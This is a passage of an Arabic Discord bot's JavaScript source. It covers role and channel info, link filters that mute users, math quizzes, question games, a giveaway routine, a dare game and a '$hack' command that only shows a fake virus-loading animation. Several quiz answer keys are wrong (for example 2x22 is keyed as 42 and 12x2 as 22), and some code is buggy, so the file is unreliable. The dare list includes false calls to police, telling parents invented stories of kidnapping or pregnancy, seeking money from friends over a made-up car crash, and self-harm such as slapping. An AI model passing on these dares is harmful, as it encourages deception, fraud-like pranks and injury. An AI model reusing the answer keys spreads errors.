2526 .setTitle(message.guild.name)
2527 .setThumbnail(message.guild.iconURL)
2528 .addField("- اسم الرتبة", role.name, true)
2529 .addField("- اي دي الرتبة", role.id, true)
2530 .addField("- تم انشاء الرتبة", role.createdAt.toLocaleString(), true)
2531 .addField("- لون الرتبة", role.hexColor, true)
2532 .addField("- عدد الاعضاء الذي لديهم نفس الرتبة", role.members.size, true)
2533 .addField(
2534 "- مركز الرتبة بين كل الرتب",
2535 role.position - message.guild.roles.size,
2536 true
2537 )
2538 .addField("- خصائص الرتبة", role.permissions, true)
2539 .setFooter(message.author.tag, message.author.avatarURL);
2540
2541 message.channel.send(iQp);
2542 }
2543});
2544
2545//
2546
2547client.on("message", message => {
2548 if (message.content === "$rooms") {
2549 var channels = message.guild.channels
2550 .map(channels => `${channels.name}, `)
2551 .join(" ");
2552 const embed = new Discord.RichEmbed()
2553 .setColor("RANDOM")
2554 .addField("rooms:", `**[${channels}]**`);
2555 message.channel.sendEmbed(embed);
2556 }
2557});
2558
2559//
2560
2561const kingmas = [
2562 "*** منشن الجميع وقل انا اكرهكم. ***",
2563 "*** اتصل على امك و قول لها انك تحبها :heart:. ***",
2564 "*** تصل على الوالده و تقول لها احب وحده.***",
2565 "*** تتصل على شرطي تقول له عندكم مطافي.***",
2566 "*** صور اي شيء يطلبه منك الاعبين.***",
2567 "*** اكتب في الشات اي شيء يطلبه منك الاعبين في الخاص. ***",
2568 "*** اتصل على احد من اخوياك خوياتك , و اطلب منهم مبلغ على اساس انك صدمت بسيارتك.***",
2569 "*** اعطي اي احد جنبك كف اذا مافيه احد جنبك اعطي نفسك و نبي نسمع صوت الكف.***",
2570 "*** تروح عند شخص تقول له احبك. ***",
2571 "***روح عند اي احد بالخاص و قول له انك تحبه و الخ.***",
2572 "*** اذهب الى واحد ماتعرفه وقل له انا كيوت وابي بوسه. ***",
2573 "*** روح الى اي قروب عندك في الواتس اب و اكتب اي شيء يطلبه منك الاعبين الحد الاقصى 3 رسائل. ***",
2574 "*** اذا انت ولد اكسر اغلى او احسن عطور عندك اذا انتي بنت اكسري الروج حقك او الميك اب حقك. ***",
2575 "*** ذي المرة لك لا تعيدها.***",
2576 "*** ارمي جوالك على الارض بقوة و اذا انكسر صور الجوال و ارسله في الشات العام.***",
2577 "*** اتصل على ابوك و قول له انك رحت مع بنت و احين هي حامل..... ***",
2578 "*** تكلم باللهجة السودانية الين يجي دورك مرة ثانية.***",
2579 "***سو مشهد تمثيلي عن مصرية بتولد.***",
2580 "*** قول نكتة اذا و لازم احد الاعبين يضحك اذا محد ضحك يعطونك ميوت الى ان يجي دورك مرة ثانية. ***",
2581 "*** قول نكتة اذا و لازم احد الاعبين يضحك اذا محد ضحك يعطونك ميوت الى ان يجي دورك مرة ثانية.***",
2582 "*** سامحتك خلاص مافيه عقاب لك :slight_smile:. ***",
2583 "*** اذهب الى واحد ماتعرفه وقل له انا كيوت وابي بوسه.***",
2584 "*** تتصل على الوالده و تقول لها خطفت شخص. ***",
2585 "*** روح اكل ملح + ليمون اذا مافيه اكل اي شيء من اختيار الي معك. ***"
2586];
2587client.on("message", message => {
2588 var prefix = "$";
2589 if (message.content.startsWith(prefix + "حكم")) {
2590 var mariam = new Discord.RichEmbed()
2591 .setTitle("لعبة حكم ..")
2592 .setColor("RANDOM")
2593 .setDescription(`${kingmas[Math.floor(Math.random() * kingmas.length)]}`);
2594 message.channel.sendEmbed(mariam);
2595 message.react(":thinking:");
2596 }
2597});
2598
2599//
2600
2601client.on("message", message => {
2602 if (message.content == "$طرح") {
2603 var x = [
2604 "4326-2345=?",
2605 "5822-8547=?",
2606 "543-823=?",
2607 "1500-500=?",
2608 "4322-2768=?",
2609 "5652-1255=?",
2610 "3421-11234=?",
2611 "34545-1233=?",
2612 "23456-54332=?",
2613 "2312-3433=?",
2614 "4321-321=?"
2615 ];
2616 var x2 = [
2617 "1981",
2618 "-2725",
2619 "-280",
2620 "1000",
2621 "1554",
2622 "4397",
2623 "-7813",
2624 "33312",
2625 "-30876",
2626 "1121",
2627 "4000"
2628 ];
2629
2630 var x3 = Math.floor(Math.random() * x.length);
2631 message.channel
2632 .send(
2633 ` اول شخص يكتب حل صح : __**${x[x3]}**__
2634لديك 15 ثانية لكتابة حل صحيح`
2635 )
2636 .then(msg1 => {
2637 var r = message.channel.awaitMessages(msg => msg.content == x2[x3], {
2638 maxMatches: 1,
2639 time: 15000,
2640 errors: ["time"]
2641 });
2642 r.catch(() => {
2643 return message.channel
2644 .send(`:negative_squared_cross_mark: لقد انتهى الوقت ولم يقم أحد بالأجابة بشكل صحيح
2645 الإجآبة الصحيحةة هي __**${x2[x3]}**__`);
2646 });
2647
2648 r.then(collected => {
2649 message.channel.send(
2650 `${collected.first().author}لقد قمت بكتابة حل في الوقت المناسب `
2651 );
2652 });
2653 });
2654 }
2655});
2656//
2657
2658client.on("message", message => {
2659 if (message.content.includes("discord.gg/")) {
2660 if (!message.guild.roles.exists("name", "nolinkdis")) return;
2661 if (message.member.hasPermission("ADMINISTRATOR")) return;
2662 message.delete();
2663 message.guild
2664 .member(message.author)
2665 .addRole(message.guild.roles.find(r => r.name === "Muted"));
2666 let embedP = new Discord.RichEmbed()
2667 .setTitle("❌ | تمت معاقبتك")
2668 .setAuthor(message.author.username, message.author.avatarURL)
2669 .addField(
2670 `** لقد قمت بمخالفة قوانين السيرفر من خلال نشر روابط اضافة الى سيرفرات اخرى **`,
2671 `**ملاحظة : إن كآن هذآ الاسكات عن طريق الخطأ الرجاء التوجه والتكلم مع الادآرة**`
2672 )
2673 .addField(`by`, `Linux bot. `)
2674 .setColor("RED")
2675 .setThumbnail(message.author.avatarURL)
2676 .setFooter(`${message.guild.name} Server`, message.guild.iconURL);
2677
2678 message.channel.send(embedP);
2679 }
2680});
2681
2682//
2683
2684client.on("message", message => {
2685 if (message.content.includes("youtu.be/")) {
2686 if (!message.guild.roles.exists("name", "nolinkyt")) return;
2687 if (message.member.hasPermission("ADMINISTRATOR")) return;
2688 message.delete();
2689 message.guild
2690 .member(message.author)
2691 .addRole(message.guild.roles.find(r => r.name === "Muted"));
2692 let embedP = new Discord.RichEmbed()
2693 .setTitle("❌ | تمت معاقبتك")
2694 .setAuthor(message.author.username, message.author.avatarURL)
2695 .addField(
2696 `** لقد قمت بمخالفة قوانين السيرفر من خلال نشر روابط اضافة الى سيرفرات اخرى **`,
2697 `**ملاحظة : إن كآن هذآ الاسكات عن طريق الخطأ الرجاء التوجه والتكلم مع الادآرة**`
2698 )
2699 .addField(`by`, `Linux bot. `)
2700 .setColor("RED")
2701 .setThumbnail(message.author.avatarURL)
2702 .setFooter(`${message.guild.name} Server`, message.guild.iconURL);
2703
2704 message.channel.send(embedP);
2705 }
2706});
2707
2708//
2709
2710client.on("message", message => {
2711 if (message.content.includes("www.youtube.com/channel/")) {
2712 if (!message.guild.roles.exists("name", "nolinkyt")) return;
2713 if (message.member.hasPermission("ADMINISTRATOR")) return;
2714 message.delete();
2715 message.guild
2716 .member(message.author)
2717 .addRole(message.guild.roles.find(r => r.name === "Muted"));
2718 let embedP = new Discord.RichEmbed()
2719 .setTitle("❌ | تمت معاقبتك")
2720 .setAuthor(message.author.username, message.author.avatarURL)
2721 .addField(
2722 `** لقد قمت بمخالفة قوانين السيرفر من خلال نشر روابط اضافة الى سيرفرات اخرى **`,
2723 `**ملاحظة : إن كآن هذآ الاسكات عن طريق الخطأ الرجاء التوجه والتكلم مع الادآرة**`
2724 )
2725 .addField(`by`, `Linux bot. `)
2726 .setColor("RED")
2727 .setThumbnail(message.author.avatarURL)
2728 .setFooter(`${message.guild.name} Server`, message.guild.iconURL);
2729
2730 message.channel.send(embedP);
2731 }
2732});
2733
2734//
2735
2736client.on("message", message => {
2737 if (message.content.includes("https", "http")) {
2738 if (!message.guild.roles.exists("name", "nolinkall")) return;
2739 if (message.member.hasPermission("ADMINISTRATOR")) return;
2740 message.delete();
2741 message.guild
2742 .member(message.author)
2743 .addRole(message.guild.roles.find(r => r.name === "Muted"));
2744 let embedP = new Discord.RichEmbed()
2745 .setTitle("❌ | تمت معاقبتك")
2746 .setAuthor(message.author.username, message.author.avatarURL)
2747 .addField(
2748 `** لقد قمت بمخالفة قوانين السيرفر من خلال نشر روابط اضافة الى سيرفرات اخرى **`,
2749 `**ملاحظة : إن كآن هذآ الاسكات عن طريق الخطأ الرجاء التوجه والتكلم مع الادآرة**`
2750 )
2751 .addField(`by`, `Linux bot. `)
2752 .setColor("RED")
2753 .setThumbnail(message.author.avatarURL)
2754 .setFooter(`${message.guild.name} Server`, message.guild.iconURL);
2755
2756 message.channel.send(embedP);
2757 }
2758});
2759
2760//
2761
2762client.on("message", message => {
2763 if (message.content.startsWith("$hack")) {
2764 if (!message.author.id === "") return;
2765 if (message.author.bot) return;
2766 message.delete();
2767 let args = message.content.split(" ").slice(1);
2768
2769 let virusname = args.join(" ");
2770 if (virusname < 1) {
2771 return message.channel.send("**```اكتب اسم الشخص الي تبي يتهكر```**");
2772 }
2773 message.channel
2774 .send({
2775 embed: new Discord.RichEmbed()
2776 .setTitle("Loading " + virusname + "...")
2777 .setColor(0xff0000)
2778 })
2779 .then(function(m) {
2780 setTimeout(function() {
2781 m.edit({
2782 embed: new Discord.RichEmbed()
2783 .setTitle("[" + virusname + "]: Loading Discord Virus [▓ ] 1%")
2784 .setColor(0xff0000)
2785 });
2786 }, 1000);
2787 setTimeout(function() {
2788 m.edit({
2789 embed: new Discord.RichEmbed()
2790 .setTitle("[" + virusname + "]: Loading Discord Virus [▓▓ ] 2%")
2791 .setColor(0xff0000)
2792 });
2793 }, 2000);
2794 setTimeout(function() {
2795 m.edit({
2796 embed: new Discord.RichEmbed()
2797 .setTitle("[" + virusname + "]: Loading Discord Virus [▓▓▓ ] 3%")
2798 .setColor(0xff0000)
2799 });
2800 }, 3000);
2801 setTimeout(function() {
2802 m.edit({
2803 embed: new Discord.RichEmbed()
2804 .setTitle("[" + virusname + "]: Loading Discord Virus [▓▓▓▓ ] 4%")
2805 .setColor(0xff0000)
2806 });
2807 }, 4000);
2808 setTimeout(function() {
2809 m.edit({
2810 embed: new Discord.RichEmbed()
2811 .setTitle(
2812 "[" + virusname + "]: Loading Discord Virus [▓▓▓▓▓▓▓▓▓▓▓▓ ] 20%"
2813 )
2814 .setColor(0xff0000)
2815 });
2816 }, 5000);
2817 setTimeout(function() {
2818 m.edit({
2819 embed: new Discord.RichEmbed()
2820 .setTitle(
2821 "[" +
2822 virusname +
2823 "]: Loading Discord Virus [▓▓▓▓▓▓▓▓▓▓▓▓▓ ] 30%"
2824 )
2825 .setColor(0xff0000)
2826 });
2827 }, 6000);
2828 setTimeout(function() {
2829 m.edit({
2830 embed: new Discord.RichEmbed()
2831 .setTitle(
2832 "[" +
2833 virusname +
2834 "]: Loading Discord Virus [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ] 40%"
2835 )
2836 .setColor(0xff0000)
2837 });
2838 }, 7000);
2839 setTimeout(function() {
2840 m.edit({
2841 embed: new Discord.RichEmbed()
2842 .setTitle(
2843 "[" +
2844 virusname +
2845 "]: Loading Discord Virus [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ] 50%"
2846 )
2847 .setColor(0xff0000)
2848 });
2849 }, 8000);
2850 setTimeout(function() {
2851 m.edit({
2852 embed: new Discord.RichEmbed()
2853 .setTitle(
2854 "[" +
2855 virusname +
2856 "]: Loading Discord Virus [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ] 70%"
2857 )
2858 .setColor(0xff0000)
2859 });
2860 }, 9000);
2861 setTimeout(function() {
2862 m.edit({
2863 embed: new Discord.RichEmbed()
2864 .setTitle(
2865 "[" +
2866 virusname +
2867 "]: Loading Discord Virus [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ] 85%"
2868 )
2869 .setColor(0xff0000)
2870 });
2871 }, 10000);
2872 setTimeout(function() {
2873 m.edit({
2874 embed: new Discord.RichEmbed()
2875 .setTitle(
2876 "[" +
2877 virusname +
2878 "]: Loading Discord Virus [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ] 90%"
2879 )
2880 .setColor(0xff0000)
2881 });
2882 }, 11000);
2883 setTimeout(function() {
2884 m.edit({
2885 embed: new Discord.RichEmbed()
2886 .setTitle(
2887 "[" +
2888 virusname +
2889 "]: Loading Discord Virus [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ] 95%"
2890 )
2891 .setColor(0xff0000)
2892 });
2893 }, 12000);
2894 setTimeout(function() {
2895 m.edit({
2896 embed: new Discord.RichEmbed()
2897 .setTitle(
2898 "[" +
2899 virusname +
2900 "]: Loading Discord Virus [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ] 96%"
2901 )
2902 .setColor(0xff0000)
2903 });
2904 }, 13000);
2905 setTimeout(function() {
2906 m.edit({
2907 embed: new Discord.RichEmbed()
2908 .setTitle(
2909 "[" +
2910 virusname +
2911 "]: Loading Discord Virus [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ] 97%"
2912 )
2913 .setColor(0xff0000)
2914 });
2915 }, 14000);
2916 setTimeout(function() {
2917 m.edit({
2918 embed: new Discord.RichEmbed()
2919 .setTitle(
2920 "[" +
2921 virusname +
2922 "]: Loading Discord Virus [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓] 98%"
2923 )
2924 .setColor(0xff0000)
2925 });
2926 }, 15000);
2927 setTimeout(function() {
2928 m.edit({
2929 embed: new Discord.RichEmbed()
2930 .setTitle(
2931 "[" +
2932 virusname +
2933 "]: Loading Discord Virus [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ] 99%"
2934 )
2935 .setColor(0xff0000)
2936 });
2937 }, 16000);
2938 setTimeout(function() {
2939 m.edit({
2940 embed: new Discord.RichEmbed()
2941 .setTitle(
2942 "[" +
2943 virusname +
2944 "]: Loading Discord Virus [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓] 100%"
2945 )
2946 .setColor(0xff0000)
2947 });
2948 }, 17000);
2949 setTimeout(function() {
2950 m.edit({
2951 embed: new Discord.RichEmbed()
2952 .setTitle(
2953 "[" +
2954 virusname +
2955 "]:" +
2956 virusname +
2957 "done it's going good 100.9%"
2958 )
2959 .setColor(0xff0000)
2960 });
2961 }, 18000);
2962 setTimeout(function() {
2963 m.edit({
2964 embed: new Discord.RichEmbed()
2965 .setTitle("[" + virusname + "]: يتم تهكير ")
2966 .setColor(0xff0000)
2967 });
2968 }, 19000);
2969 setTimeout(function() {
2970 m.edit({
2971 embed: new Discord.RichEmbed()
2972 .setTitle("[" + virusname + "]: تحديث بسيط" + virusname + ".key")
2973 .setColor(0xff0000)
2974 });
2975 }, 22000);
2976 setTimeout(function() {
2977 m.edit({
2978 embed: new Discord.RichEmbed()
2979 .setTitle("[" + virusname + "]: يرجى انتضار ثواني 5...")
2980 .setColor(0xff0000)
2981 });
2982 }, 25000);
2983 setTimeout(function() {
2984 m.edit({
2985 embed: new Discord.RichEmbed()
2986 .setTitle("[" + virusname + "]: يرجى انتضار ثواني 4...")
2987 .setColor(0xff0000)
2988 });
2989 }, 26000);
2990 setTimeout(function() {
2991 m.edit({
2992 embed: new Discord.RichEmbed()
2993 .setTitle("[" + virusname + "]: يرجى انتضار ثواني 3...")
2994 .setColor(0xff0000)
2995 });
2996 }, 27000);
2997 setTimeout(function() {
2998 m.edit({
2999 embed: new Discord.RichEmbed()
3000 .setTitle("[" + virusname + "]: يرجى انتضار ثواني 2...")
3001 .setColor(0xff0000)
3002 });
3003 }, 28000);
3004 setTimeout(function() {
3005 m.edit({
3006 embed: new Discord.RichEmbed()
3007 .setTitle("[" + virusname + "]: يرجى انتضار ثواني 1...")
3008 .setColor(0xff0000)
3009 });
3010 }, 29000);
3011 setTimeout(function() {
3012 m.edit({
3013 embed: new Discord.RichEmbed()
3014 .setTitle(
3015 "[" +
3016 virusname +
3017 "]: ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓] 99%"
3018 )
3019 .setColor(0xff0000)
3020 });
3021 }, 30000);
3022 setTimeout(function() {
3023 m.edit({
3024 embed: new Discord.RichEmbed()
3025 .setTitle(
3026 "[" +
3027 virusname +
3028 "]: ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓]100% virus added"
3029 )
3030 .setColor(0xff0000)
3031 });
3032 }, 31000);
3033 setTimeout(function() {
3034 m.delete();
3035 }, 32000);
3036 setTimeout(function() {
3037 message.channel.send("** ! تمت عمليه التهكير بنجاح **");
3038 }, 33000);
3039 });
3040 }
3041});
3042
3043//
3044
3045client.on("message", message => {
3046 if (message.content == "$ضرب") {
3047 var x = [
3048 "9x9=?",
3049 "8x9=?",
3050 "4x4=?",
3051 "2x22=?",
3052 "12x2=?",
3053 "7x7=?",
3054 "5x5=?",
3055 "9x3=?",
3056 "2342432x0=?",
3057 "21321x1=?",
3058 "3x4x5=?"
3059 ];
3060 var x2 = [
3061 "81",
3062 "72",
3063 "16",
3064 "42",
3065 "22",
3066 "49",
3067 "25",
3068 "27",
3069 "0",
3070 "21321",
3071 "60"
3072 ];
3073
3074 var x3 = Math.floor(Math.random() * x.length);
3075 message.channel
3076 .send(
3077 ` اول شخص يحل ضرب : __**${x[x3]}**__
3078لديك 15 ثانية لحل ضرب`
3079 )
3080 .then(msg1 => {
3081 var r = message.channel.awaitMessages(msg => msg.content == x2[x3], {
3082 maxMatches: 1,
3083 time: 15000,
3084 errors: ["time"]
3085 });
3086 r.catch(() => {
3087 return message.channel
3088 .send(`:negative_squared_cross_mark: لقد انتهى الوقت ولم يقم أحد بالأجابة بشكل صحيح
3089 الإجآبة الصحيحةة هي __**${x2[x3]}**__`);
3090 });
3091
3092 r.then(collected => {
3093 message.channel.send(
3094 `${collected.first().author}لقد قمت بكتابة حل في الوقت المناسب `
3095 );
3096 });
3097 });
3098 }
3099});
3100
3101///
3102
3103client.on("message", message => {
3104 if (message.content == "$جمع") {
3105 var x = [
3106 "212+212=?",
3107 "321+43=?",
3108 "4534+23",
3109 "23+3434=?",
3110 "2311+32=?",
3111 "765+343=?",
3112 "343+1121=?",
3113 "43234+1=?",
3114 "10000000000+2=?",
3115 "232+21=?",
3116 "12+23=?"
3117 ];
3118 var x2 = [
3119 "424",
3120 "364",
3121 "4557",
3122 "3457",
3123 "2343",
3124 "1108",
3125 "1464",
3126 "43235",
3127 "10000000002",
3128 "253",
3129 "35"
3130 ];
3131
3132 var x3 = Math.floor(Math.random() * x.length);
3133 message.channel
3134 .send(
3135 ` اول شخص يحل جمع : __**${x[x3]}**_
3136لديك 15 ثانية للاجابة`
3137 )
3138 .then(msg1 => {
3139 var r = message.channel.awaitMessages(msg => msg.content == x2[x3], {
3140 maxMatches: 1,
3141 time: 15000,
3142 errors: ["time"]
3143 });
3144 r.catch(() => {
3145 return message.channel
3146 .send(`:negative_squared_cross_mark: لقد انتهى الوقت ولم يقم أحد بالأجابة بشكل صحيح
3147 الإجآبة الصحيحةة هي __**${x2[x3]}**__`);
3148 });
3149
3150 r.then(collected => {
3151 message.channel.send(
3152 `${collected.first().author} لقد قمت بحل جمع في الوقت المناسب `
3153 );
3154 });
3155 });
3156 }
3157});
3158
3159client.on("message", async message => {
3160 if (message.content.startsWith(prefix + "setmember")) {
3161 if (!message.guild.member(message.author).hasPermissions("MANAGE_CHANNELS"))
3162 return message.reply("❌ **لا تمتلك صلاحيه**");
3163 if (
3164 !message.guild
3165 .member(client.user)
3166 .hasPermissions(["MANAGE_CHANNELS", "MANAGE_ROLES_OR_PERMISSIONS"])
3167 )
3168 return message.reply("❌ **لا امتلك صلاحيه**");
3169 message.channel.send("✅| **تم عمل الروم بنجاح**");
3170 message.guild
3171 .createChannel(`Members : [ ${message.guild.members.size} ]`, "voice")
3172 .then(c => {
3173 console.log(`Done make room in: \n ${message.guild.name}`);
3174 c.overwritePermissions(message.guild.id, {
3175 CONNECT: false,
3176 SPEAK: false
3177 });
3178 setInterval(() => {
3179 c.setName(`Members : [ ${message.guild.members.size} ]`);
3180 }, 1000);
3181 });
3182 }
3183});
3184
3185//
3186
3187const adminprefix = "o";
3188client.on("message", message => {
3189 var argresult = message.content
3190 .split(` `)
3191 .slice(1)
3192 .join(" ");
3193 if (!devs.includes(message.author.id)) return;
3194
3195 if (message.content.startsWith(adminprefix + "pt")) {
3196 client.user.setGame(argresult);
3197 message.channel.sendMessage(`**:white_check_mark: ${argresult}**`);
3198 } else if (message.content === adminprefix + "Percie") {
3199 message.guild.leave();
3200 } else if (message.content.startsWith(adminprefix + "wt")) {
3201 client.user.setActivity(argresult, { type: "WATCHING" });
3202 message.channel.sendMessage(`**:white_check_mark: ${argresult}**`);
3203 } else if (message.content.startsWith(adminprefix + "setprefix")) {
3204 client.user.setPrefix(argresult).then;
3205 message.channel.send(`**Prefix Changed :white_check_mark: ${argresult}** `);
3206 } else if (message.content.startsWith(adminprefix + "ls")) {
3207 client.user.setActivity(argresult, { type: "LISTENING" });
3208 message.channel.sendMessage(`**:white_check_mark: ${argresult}**`);
3209 } else if (message.content.startsWith(adminprefix + "setavatar")) {
3210 client.user.setAvatar(argresult);
3211 message.channel.sendMessage(`**${argresult}** : تم تغير صورة البوت`);
3212 } else if (message.content.startsWith(adminprefix + "st")) {
3213 client.user.setGame(argresult, "https://www.twitch.tv/idk");
3214 message.channel.sendMessage(`**:white_check_mark: ${argresult}**`);
3215 }
3216});
3217
3218//
3219
3220const pubg = [
3221 "Fortnite | ما هو اقوي سلاح برائيك ؟",
3222 "Fortnite | ما هي افضل منطقة تنزل بها برايك ؟",
3223 "Fortnite | كم عدد فوزاتك ؟",
3224 "Fortnite | كم هو عدد اكثر قتلات لك ؟ ",
3225 "Fortnite | كم عدد اصدقائك ؟ ",
3226 "Fortnite | كم عدد سكناتك ؟ ",
3227 "Fortnite | من هو افضل لاعب اجنبي حسب رايك ؟ ",
3228 "Fortnite | من هو افضل لاعب عربي حسب رايك ؟ ",
3229 "Fortnite | ما هو افضل طور حسب رايك ؟ ",
3230 "Fortnite | هل انت محترف ام نوب ؟ ",
3231 "Fortnite | ما هما افضل سلاحين مع بعض حسب رايك ؟ "
3232];
3233client.on("message", message => {
3234 if (message.author.bot) return;
3235 if (message.content.startsWith("$فورت نايت")) {
3236 if (!message.channel.guild)
3237 return message.reply("** This command only for servers **");
3238 var client = new Discord.RichEmbed()
3239 .setTitle("لعبه اسئله فورت نايت")
3240 .setColor("#FFA500")
3241 .setDescription(`${pubg[Math.floor(Math.random() * pubg.length)]}`)
3242 .setImage(
3243 "https://cdn.discordapp.com/attachments/497081825492074496/500662255004942346/images.jpg"
3244 )
3245 .setTimestamp();
3246
3247 message.channel.sendEmbed(client);
3248 message.react("??");
3249 }
3250});
3251
3252//
3253
3254const cuttweet = [
3255 "كت تويت | تخيّل لو أنك سترسم شيء وحيد فيصبح حقيقة، ماذا سترسم؟",
3256 "كت تويت | أكثر شيء يُسكِت الطفل برأيك؟",
3257 "كت تويت | الحرية لـ ... ؟",
3258 "كت تويت | قناة الكرتون المفضلة في طفولتك؟",
3259 "كت تويت | كلمة للصُداع؟",
3260 "كت تويت | ما الشيء الذي يُفارقك؟",
3261 "كت تويت | موقف مميز فعلته مع شخص ولا يزال يذكره لك؟",
3262 "كت تويت | أيهما ينتصر، الكبرياء أم الحب؟",
3263 "كت تويت | بعد ١٠ سنين ايش بتكون ؟",
3264 "كت تويت | مِن أغرب وأجمل الأسماء التي مرت عليك؟",
3265 "كت تويت | عمرك شلت مصيبة عن شخص برغبتك ؟",
3266 "كت تويت | أكثر سؤال وجِّه إليك مؤخرًا؟",
3267 "كت تويت | ما هو الشيء الذي يجعلك تشعر بالخوف؟",
3268 "كت تويت | وش يفسد الصداقة؟",
3269 "كت تويت | شخص لاترفض له طلبا ؟",
3270 "كت تويت | كم مره خسرت شخص تحبه؟.",
3271 "كت تويت | كيف تتعامل مع الاشخاص السلبيين ؟",
3272 "كت تويت | كلمة تشعر بالخجل اذا قيلت لك؟",
3273 "كت تويت | جسمك اكبر من عٌمرك او العكسّ ؟!",
3274 "كت تويت |أقوى كذبة مشت عليك ؟",
3275 "كت تويت | تتأثر بدموع شخص يبكي قدامك قبل تعرف السبب ؟",
3276 "كت تويت | هل حدث وضحيت من أجل شخصٍ أحببت؟",
3277 "كت تويت | أكثر تطبيق تستخدمه مؤخرًا؟",
3278 "كت تويت | اكثر شي يرضيك اذا زعلت بدون تفكير ؟",
3279 "كت تويت | وش محتاج عشان تكون مبسوط ؟",
3280 "كت تويت | مطلبك الوحيد الحين ؟",
3281 "كت تويت | هل حدث وشعرت بأنك ارتكبت أحد الذنوب أثناء الصيام؟"
3282];
3283
3284client.on("message", message => {
3285 if (message.content.startsWith("$كت تويت")) {
3286 if (!message.channel.guild)
3287 return message.reply("** This command only for servers**");
3288 var embed = new Discord.RichEmbed()
3289 .setColor("RANDOM")
3290 .setThumbnail(message.author.avatarURL)
3291 .addField(
3292 "لعبه كت تويت",
3293 `${cuttweet[Math.floor(Math.random() * cuttweet.length)]}`
3294 );
3295 message.channel.sendEmbed(embed);
3296 console.log("[id] Send By: " + message.author.username);
3297 }
3298});
3299
3300//
3301
3302client.on("message", async message => {
3303 //Narox
3304 var time = moment().format("Do MMMM YYYY , hh:mm");
3305 var room;
3306 var title;
3307 var duration;
3308 var gMembers;
3309 var currentTime = new Date(), //Narox
3310 hours = currentTime.getHours() + 3,
3311 minutes = currentTime.getMinutes(),
3312 done = currentTime.getMinutes() + duration / 60000,
3313 seconds = currentTime.getSeconds();
3314 if (minutes < 10) {
3315 //Narox
3316 minutes = "0" + minutes;
3317 }
3318 var suffix = "AM"; //Narox
3319 if (hours >= 12) {
3320 suffix = "PM";
3321 hours = hours - 12;
3322 }
3323 if (hours == 0) {
3324 hours = 12; //Narox
3325 }
3326
3327 var filter = m => m.author.id === message.author.id; //Narox
3328 if (message.content.startsWith(prefix + "giveaway")) {
3329 if (!message.guild.member(message.author).hasPermission("MANAGE_GUILD"))
3330 return message.channel.send(
3331 ":heavy_multiplication_x:| **يجب أن يكون لديك خاصية التعديل على السيرفر**"
3332 );
3333 message.channel
3334 .send(
3335 `:eight_pointed_black_star:| **Send Name channel For the Giveaway**`
3336 )
3337 .then(msg => {
3338 message.channel
3339 .awaitMessages(filter, {
3340 //Narox
3341 max: 1, //Narox
3342 time: 20000,
3343 errors: ["time"]
3344 })
3345 .then(collected => {
3346 //Narox
3347 let room = message.guild.channels.find(
3348 "name",
3349 collected.first().content
3350 ); //Narox
3351 if (!room)
3352 return message.channel.send(
3353 ":heavy_multiplication_x:| **i Found It :(**"
3354 ); //Narox
3355 room = collected.first().content;
3356 collected.first().delete(); //Narox
3357 msg
3358 .edit(":eight_pointed_black_star:| **Time For The Giveaway**")
3359 .then(msg => {
3360 message.channel
3361 .awaitMessages(filter, {
3362 max: 1,
3363 time: 20000, //Narox
3364 errors: ["time"]
3365 })
3366 .then(collected => {
3367 //Narox
3368 if (isNaN(collected.first().content))
3369 return message.channel.send(
3370 ":heavy_multiplication_x:| **The Time Be Nambers `` Do the Commend Agin``**"
3371 );
3372 duration = collected.first().content * 60000;
3373 collected.first().delete(); //Narox
3374 msg
3375 .edit(
3376 ":eight_pointed_black_star:| **Now send The Present **"
3377 )
3378 .then(msg => {
3379 message.channel
3380 .awaitMessages(filter, {
3381 max: 1,
3382 time: 20000, //Narox
3383 errors: ["time"]
3384 })
3385 .then(collected => {
3386 //Narox
3387 title = collected.first().content;
3388 collected.first().delete();
3389 msg.delete();
3390 message.delete();
3391 try {
3392 let giveEmbed = new Discord.RichEmbed()
3393 .setDescription(
3394 `**${title}** \nReact With ? To Enter! \nTime remaining : ${duration /
3395 60000} **Minutes**\n **Created at :** ${hours}:${minutes}:${seconds} ${suffix}`
3396 )
3397 .setFooter(
3398 message.author.username,
3399 message.author.avatarURL
3400 );
3401 message.guild.channels
3402 .find("name", room)
3403 .send(
3404 " :heavy_check_mark: **Giveaway Created** :heavy_check_mark:",
3405 { embed: giveEmbed }
3406 )
3407 .then(m => {
3408 let re = m.react("?"); //Narox
3409 setTimeout(() => {
3410 let users = m.reactions.get("?").users; //Narox
3411 let list = users
3412 .array()
3413 .filter(
3414 u =>
3415 (u.id !== m.author.id) !==
3416 client.user.id
3417 ); //Narox
3418 let gFilter =
3419 list[
3420 Math.floor(
3421 Math.random() * list.length
3422 ) + 0
3423 ];
3424 let endEmbed = new Discord.RichEmbed() //Narox
3425 .setAuthor(
3426 message.author.username,
3427 message.author.avatarURL
3428 )
3429 .setTitle(title) //Narox
3430 .addField(
3431 "Giveaway Ended !?",
3432 `Winners : ${gFilter} \nEnded at :`
3433 )
3434 .setTimestamp();
3435 m.edit("** ? GIVEAWAY ENDED ?**", {
3436 embed: endEmbed
3437 });
3438 message.guild.channels
